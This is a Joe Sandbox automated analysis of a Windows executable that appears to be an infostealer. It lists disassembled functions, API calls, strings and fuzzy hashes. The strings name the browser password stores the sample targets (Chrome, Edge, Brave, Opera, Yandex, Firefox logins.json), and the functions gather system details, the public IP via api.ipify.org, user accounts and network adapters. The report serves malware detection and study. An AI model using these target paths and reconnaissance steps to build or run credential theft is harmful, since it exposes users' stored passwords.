String ID: ?????? ??????: $USERPROFILE$\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data$\AppData\Local\Chromium\User Data\Default\Login Data$\AppData\Local\Google\Chrome Beta\User Data\Default\Login Data$\AppData\Local\Google\Chrome\User Data\Default\Login Data$\AppData\Local\Microsoft\Edge\User Data\Default\Login Data$\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data$\AppData\Roaming\Mozilla\Firefox\Profiles$\AppData\Roaming\Mozilla\Firefox\Profiles\$\AppData\Roaming\Opera Software\Opera GX Stable\Login Data$\AppData\Roaming\Opera Software\Opera Stable\Login Data$\logins.json$\times.json$defa$rele$rele
API String ID: 716798019-1786275549
Opcode ID: cf1a96ae52e39750a6f6db40f34a451b3bf87bc4091000d337629dce12d692df
Instruction ID: 114cd7e9622c73b48852ae89ec2103e36debe33f4f295a7ac116e18181f60f93
Opcode Fuzzy Hash: cf1a96ae52e39750a6f6db40f34a451b3bf87bc4091000d337629dce12d692df
Instruction Fuzzy Hash: DF32C572A14BC699EB20EF24DC457FD6361FB847A4F805232DA5D27AA9DF38D684C310

Function 00007FF7CEA94A40 Relevance: 49.2, APIs: 17, Strings: 11, Instructions: 224
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140(?), ref: 00007FF7CEA94A96
memset.VCRUNTIME140(?), ref: 00007FF7CEA94AAA
memset.VCRUNTIME140(?), ref: 00007FF7CEA94ABE
memset.VCRUNTIME140(?), ref: 00007FF7CEA94AD2
memset.VCRUNTIME140(?), ref: 00007FF7CEA94AE3

Part of subcall function 00007FF7CEA96810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA9684A
Part of subcall function 00007FF7CEA96810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF7CEA96866
Part of subcall function 00007FF7CEA96810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA96898

RegOpenKeyExA.KERNELBASE(?), ref: 00007FF7CEA94B13
RegGetValueA.KERNELBASE ref: 00007FF7CEA94B4C
RegCloseKey.KERNELBASE ref: 00007FF7CEA94B89
RegOpenKeyExA.KERNELBASE ref: 00007FF7CEA94BB8
RegGetValueA.KERNELBASE ref: 00007FF7CEA94BF1
RegCloseKey.ADVAPI32 ref: 00007FF7CEA94C2E
RegOpenKeyExA.KERNELBASE ref: 00007FF7CEA94C5D
RegGetValueA.KERNELBASE ref: 00007FF7CEA94C9A
RegGetValueA.KERNELBASE ref: 00007FF7CEA94D01
RegCloseKey.KERNELBASE ref: 00007FF7CEA94D3E
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA94E0F
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA94E19

Part of subcall function 00007FF7CEA999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A69
Part of subcall function 00007FF7CEA999F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A89
Part of subcall function 00007FF7CEA999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A99
Part of subcall function 00007FF7CEA999F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B7C
Part of subcall function 00007FF7CEA999F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B83
Part of subcall function 00007FF7CEA999F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B90

Part of subcall function 00007FF7CEA999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99AE6

Part of subcall function 00007FF7CEA999F0: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B0F
Part of subcall function 00007FF7CEA999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B36

Strings

ProductName, xrefs: 00007FF7CEA94C8C
DisplayVersion, xrefs: 00007FF7CEA94CF3
OS display version: , xrefs: 00007FF7CEA94D0B
Processor name: , xrefs: 00007FF7CEA94BFB
OS name: , xrefs: 00007FF7CEA94CA4
ProcessorNameString, xrefs: 00007FF7CEA94BE3
HARDWARE\DESCRIPTION\System\BIOS, xrefs: 00007FF7CEA94B05
BaseBoardProduct, xrefs: 00007FF7CEA94B3E
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 00007FF7CEA94BAA
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF7CEA94C4F
Machine name: , xrefs: 00007FF7CEA94B56

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$memset$Value$CloseOpenU?$char_traits@_W@std@@@std@@$?good@ios_base@std@@?sputc@?$basic_streambuf@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@1@@Osfx@?$basic_ostream@_V12@V?$basic_streambuf@
String ID: BaseBoardProduct$DisplayVersion$HARDWARE\DESCRIPTION\System\BIOS$HARDWARE\DESCRIPTION\System\CentralProcessor\0$Machine name: $OS display version: $OS name: $Processor name: $ProcessorNameString$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 20268565-1502927450
Opcode ID: 621b55e935ff6405d9fe05d3b75cbcd6982443e8c92c0c421b99860315d121c5
Instruction ID: cc35c71097708f9a850e1b3acd6a29e43e17dcd8d1e603afced815ab5136c72c
Opcode Fuzzy Hash: 621b55e935ff6405d9fe05d3b75cbcd6982443e8c92c0c421b99860315d121c5
Instruction Fuzzy Hash: C3B15F72A18B8199EB10EF25EC806BDB3A4FF84794F808132DA8D67A69DF3CD545C750

Function 00007FF7CEA94E50 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7CEA9A0C0: memcpy.VCRUNTIME140 ref: 00007FF7CEA9A0F8

WinHttpOpen.WINHTTP ref: 00007FF7CEA94EC6
WinHttpConnect.WINHTTP ref: 00007FF7CEA94EEB
WinHttpOpenRequest.WINHTTP ref: 00007FF7CEA94F20
WinHttpSendRequest.WINHTTP ref: 00007FF7CEA94F4C
WinHttpReceiveResponse.WINHTTP ref: 00007FF7CEA94F5F
WinHttpQueryDataAvailable.WINHTTP ref: 00007FF7CEA94F7A
memset.VCRUNTIME140 ref: 00007FF7CEA94FA4
WinHttpReadData.WINHTTP ref: 00007FF7CEA94FBE

Part of subcall function 00007FF7CEA9A0C0: memcpy.VCRUNTIME140 ref: 00007FF7CEA9A198

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9507D
WinHttpCloseHandle.WINHTTP ref: 00007FF7CEA95094
WinHttpCloseHandle.WINHTTP ref: 00007FF7CEA9509D
WinHttpCloseHandle.WINHTTP ref: 00007FF7CEA950A6

Strings

api.ipify.org, xrefs: 00007FF7CEA94EE1
Unable to get IP, xrefs: 00007FF7CEA94E9E
WinHTTP/1.0, xrefs: 00007FF7CEA94EBF
GET, xrefs: 00007FF7CEA94F16

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: Http$CloseHandle$DataOpenRequestmemcpy$AvailableConnectQueryReadReceiveResponseSend_invalid_parameter_noinfo_noreturnmemset
String ID: GET$Unable to get IP$WinHTTP/1.0$api.ipify.org
API String ID: 849217320-4095685055
Opcode ID: bb1e038c47dcd19b0d5ca6d5e52eb04ef700f44ac4d6c11cb81c477ed665ef84
Instruction ID: 413f3c9c6da29c72885a448559a893d2a8176ab481618aaa2217f33d3a499439
Opcode Fuzzy Hash: bb1e038c47dcd19b0d5ca6d5e52eb04ef700f44ac4d6c11cb81c477ed665ef84
Instruction Fuzzy Hash: 6761B522A187418AEB10EF25E850B7EB3E0FB85BA4F944534DA8D13B55DF3DD481CB20

Function 00007FF7CEA94640 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 246
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLocaleInfoA.KERNELBASE ref: 00007FF7CEA94695
GetLocaleInfoA.KERNEL32 ref: 00007FF7CEA94717

Part of subcall function 00007FF7CEA9A0C0: memcpy.VCRUNTIME140 ref: 00007FF7CEA9A0F8

memset.VCRUNTIME140 ref: 00007FF7CEA947F0
??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA94804
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140 ref: 00007FF7CEA94821
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA94852
??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA94990
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA9499A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA949D5
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA94A33

Strings

Country: , xrefs: 00007FF7CEA9489A
Language: , xrefs: 00007FF7CEA9486E
Failed to get locale, xrefs: 00007FF7CEA946B3, 00007FF7CEA94739

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$InfoLocale_invalid_parameter_noinfo_noreturn$??0?$basic_ios@??0?$basic_ostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_ostream@D@std@@@1@_V?$basic_streambuf@memcpymemset
String ID: Country: $Failed to get locale$Language:
API String ID: 3095796567-568146128
Opcode ID: 6777821781e00c1254704644d8379e6ded6b68f25752d4e6f5bb5cf1c72359dc
Instruction ID: 5b08bd4b6c924e5d783188d503f94c3509860168ef8620fabab496b241bb10b7
Opcode Fuzzy Hash: 6777821781e00c1254704644d8379e6ded6b68f25752d4e6f5bb5cf1c72359dc
Instruction Fuzzy Hash: 83B19272A18B8589EB10DF64D8807BD77A0FB857A8F808232DA5C27B99DF78D185C750

Function 00007FF7CEA93780 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLogicalDrives.KERNELBASE ref: 00007FF7CEA937C5
memset.VCRUNTIME140 ref: 00007FF7CEA937DA

Part of subcall function 00007FF7CEA96810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA9684A
Part of subcall function 00007FF7CEA96810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF7CEA96866
Part of subcall function 00007FF7CEA96810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA96898

Part of subcall function 00007FF7CEA999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A69
Part of subcall function 00007FF7CEA999F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A89
Part of subcall function 00007FF7CEA999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A99
Part of subcall function 00007FF7CEA999F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B7C
Part of subcall function 00007FF7CEA999F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B83
Part of subcall function 00007FF7CEA999F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B90

GetDiskFreeSpaceExA.KERNELBASE ref: 00007FF7CEA938F6
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@_K@Z.MSVCP140 ref: 00007FF7CEA9392B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA939D7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA939DE
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA93A59
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA93A63

Part of subcall function 00007FF7CEA99610: memcpy.VCRUNTIME140(?,?,?,?,?,00007FF7CEA91CCF), ref: 00007FF7CEA99656

Strings

GB, xrefs: 00007FF7CEA93934
Available Drives: , xrefs: 00007FF7CEA937E9

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$U?$char_traits@_W@std@@@std@@$?good@ios_base@std@@_invalid_parameter_noinfo_noreturn$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@??6?$basic_ostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?uncaught_exception@std@@D@std@@@1@@DiskDrivesFreeLogicalOsfx@?$basic_ostream@_SpaceV01@_V12@V?$basic_streambuf@memcpymemset
String ID: GB$Available Drives:
API String ID: 2435906160-4081138596
Opcode ID: d460782d3c6bd2cda83ac6620a73d963f36d04f046d50e4f1f029c8829c4127c
Instruction ID: ecdcbc7ea42bc43ae022df8bae405d0e7c23f2c43020f3b830b8a071b16b0625
Opcode Fuzzy Hash: d460782d3c6bd2cda83ac6620a73d963f36d04f046d50e4f1f029c8829c4127c
Instruction Fuzzy Hash: 9D91E822A18B8189EB20DF25D8407BDB770FB857A4F949232DE8D27AA5DF3CD585C710

Function 00007FF7CEA93AA0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7CEA93AEB
memset.VCRUNTIME140 ref: 00007FF7CEA93B01

Part of subcall function 00007FF7CEA96810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA9684A
Part of subcall function 00007FF7CEA96810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF7CEA96866
Part of subcall function 00007FF7CEA96810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA96898

GetAdaptersInfo.IPHLPAPI ref: 00007FF7CEA93B19
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7CEA93B28
GetAdaptersInfo.IPHLPAPI ref: 00007FF7CEA93B39
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF7CEA93BC0
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA93C8E
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA93C98

Strings

IP Address: , xrefs: 00007FF7CEA93B7F
Adapter: , xrefs: 00007FF7CEA93B50

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$AdaptersInfomalloc$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@D@std@@@1@@V?$basic_streambuf@freememset
String ID: Adapter: $IP Address:
API String ID: 1136092572-1613687433
Opcode ID: 06b27aec4c232e626f636c09154849647e9ee1243f3ad1ae019303bbe33ba379
Instruction ID: 2c060a7eff6ae030b094317adb3798e8e190418e00ff3a135927162fb279df91
Opcode Fuzzy Hash: 06b27aec4c232e626f636c09154849647e9ee1243f3ad1ae019303bbe33ba379
Instruction Fuzzy Hash: CA519C72A09A8199EB10EF15D840ABEA7B1FB84BA4F848132DE4D27B65DF3CE445C750

Function 00007FF7CEA93560 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE ref: 00007FF7CEA9359E
memset.VCRUNTIME140 ref: 00007FF7CEA935B0

Part of subcall function 00007FF7CEA96810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA9684A
Part of subcall function 00007FF7CEA96810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF7CEA96866
Part of subcall function 00007FF7CEA96810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA96898

Part of subcall function 00007FF7CEA999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A69
Part of subcall function 00007FF7CEA999F0: ?flush@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@XZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A89
Part of subcall function 00007FF7CEA999F0: ?good@ios_base@std@@QEBA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99A99
Part of subcall function 00007FF7CEA999F0: ?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAAXH_N@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B7C
Part of subcall function 00007FF7CEA999F0: ?uncaught_exception@std@@YA_NXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B83
Part of subcall function 00007FF7CEA999F0: ?_Osfx@?$basic_ostream@_WU?$char_traits@_W@std@@@std@@QEAAXXZ.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B90

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@G@Z.MSVCP140 ref: 00007FF7CEA935D7

Part of subcall function 00007FF7CEA999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99AE6

Part of subcall function 00007FF7CEA999F0: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B0F
Part of subcall function 00007FF7CEA999F0: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140(?,00000000,00000000,?,00007FF7CEA919FA), ref: 00007FF7CEA99B36

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@K@Z.MSVCP140 ref: 00007FF7CEA93603
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA936DC
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA936E6

Strings

Processor Architecture: , xrefs: 00007FF7CEA935BF
Number of Cores: , xrefs: 00007FF7CEA935EC

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$U?$char_traits@_W@std@@@std@@$??6?$basic_ostream@?good@ios_base@std@@?sputc@?$basic_streambuf@V01@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@?flush@?$basic_ostream@_?setstate@?$basic_ios@_?sputn@?$basic_streambuf@?uncaught_exception@std@@D@std@@@1@@InfoOsfx@?$basic_ostream@_SystemV12@V?$basic_streambuf@memset
String ID: Number of Cores: $Processor Architecture:
API String ID: 777187999-1490948189
Opcode ID: db8688cd583bdc27e0cdb5cc254e17eb9a2918b1e2afa49accf7bbecb9bde412
Instruction ID: 84029ba185a355027b41b788b3f6715da23486b70185d409b8dffb5f5941703f
Opcode Fuzzy Hash: db8688cd583bdc27e0cdb5cc254e17eb9a2918b1e2afa49accf7bbecb9bde412
Instruction Fuzzy Hash: 1F519D72A08A8199EB10EF65DC406BDB3B1FB88B98F848132DA4D27769DF3CD545C750

Function 00007FF7CEA93CD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF7CEA93D2C

Part of subcall function 00007FF7CEA96810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA9684A
Part of subcall function 00007FF7CEA96810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF7CEA96866
Part of subcall function 00007FF7CEA96810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA96898

NetUserEnum.NETAPI32 ref: 00007FF7CEA93D6B
NetApiBufferFree.NETAPI32 ref: 00007FF7CEA93E4A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA93E9F
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA93F1A
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF7CEA93F24

Strings

User: , xrefs: 00007FF7CEA93DBD

Memory Dump Source

Source File: 00000000.00000002.2107858007.00007FF7CEA91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CEA90000, based on PE: true

Associated: 00000000.00000002.2107839193.00007FF7CEA90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107875074.00007FF7CEA9E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107890069.00007FF7CEAA5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2107903470.00007FF7CEAA6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cea90000_Simple1.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@BufferD@std@@@1@@EnumFreeUserV?$basic_streambuf@_invalid_parameter_noinfo_noreturnmemset
String ID: User:
API String ID: 429987867-381282118
Opcode ID: 81cad7912bdc9e2d23d23b83485d0763708482a1ed38764782d50a90e92ae5cf
Instruction ID: c7df46a94326d1bb382768c119e329683cca02653f3cda56921bddba0c16519a
Opcode Fuzzy Hash: 81cad7912bdc9e2d23d23b83485d0763708482a1ed38764782d50a90e92ae5cf
Instruction Fuzzy Hash: 8A719132A18B818AEB10DF69D8406BDB7B0FB84BA4F944135DB4D23B69DF38D445C750

Function 00007FF7CEA94180 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNELBASE ref: 00007FF7CEA941BD
memset.VCRUNTIME140 ref: 00007FF7CEA941D0

Part of subcall function 00007FF7CEA96810: ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA9684A
Part of subcall function 00007FF7CEA96810: ??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF7CEA96866
Part of subcall function 00007FF7CEA96810: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF7CEA96898

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7CEA9427D
